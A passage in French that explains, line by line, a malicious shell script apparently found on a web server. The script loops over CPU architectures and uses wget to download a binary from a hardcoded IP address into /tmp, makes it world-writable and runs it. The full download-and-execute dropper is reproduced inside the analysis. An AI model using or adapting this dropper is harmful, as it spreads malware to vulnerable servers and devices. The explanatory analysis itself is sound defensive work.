Ligne par ligne:
#!/bin/sh
Établit la sh
coquille, quelle qu'elle soit, en tant que ligne de shebang. sh%20/tmp/ks
dans la demande l'emporte, cette ligne est donc traitée comme un commentaire normal et ignorée.
u="asgknskjdgn"
Déclare un nom arbitraire, sans doute pour éviter d'entrer en collision avec d'autres noms de fichiers. Je ne sais pas pourquoi ils ne l'utiliseraient pas mktemp
, mais peut-être que ce n'est pas disponible sur toutes les plateformes.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Énumère plusieurs architectures CPU courantes.
http_server="80.211.173.159"
http_port=80
Le serveur qui a l'exploit.
cd /tmp/||cd /var/
Tente de changer de répertoire vers un endroit où votre serveur Web est susceptible de créer des fichiers. Je crois que SELinux y contribuera, en appliquant des règles beaucoup plus strictes sur ce que le serveur Web peut faire que le système de fichiers seul.
for name in $bin_names
do
Pour chaque architecture CPU…
rm -rf $u
Supprime les programmes d'exploitation précédemment essayés. Inutile à cause de la ligne suivante, peut donc être ignoré.
cp $SHELL $u
Copie l'exécutable shell actuel ( /bin/sh
). Peut être ignoré en raison de la ligne suivante.
chmod 777 $u
Donne à tout le monde un accès complet au nouveau fichier. Cela aurait dû être après la wget
commande, qui est soit le signe d'un débutant de script shell ou une technique de mauvaise direction.
>$u
Vide le fichier. Inutile à cause de la ligne suivante.
wget http://$http_server:$http_port/$name -O -> $u
Remplace le fichier par le script d'exploitation de cette architecture. -O -> $u
aurait pu être écrit -O - > $u
(le trait d'union indique que le téléchargement doit être écrit sur la sortie standard), ce qui équivaut à -O $u
.
./$u $name
Exécute le script d'exploitation avec l'architecture comme premier argument.
done
Termine la boucle.
Il semble que ce soit un script de tentative d'exploit trivial, essayant des exploits connus contre diverses plates-formes CPU. Je ne sais pas pourquoi il écrase $u
trois fois, mais ces opérations pourraient simplement être des restes d'une itération antérieure du script. Vraisemblablement, cette version antérieure avait les exploits codés en dur plutôt que servis dynamiquement - le premier est plus facile mais garantit presque que le script sera moins efficace au fil du temps car les bogues sont corrigés.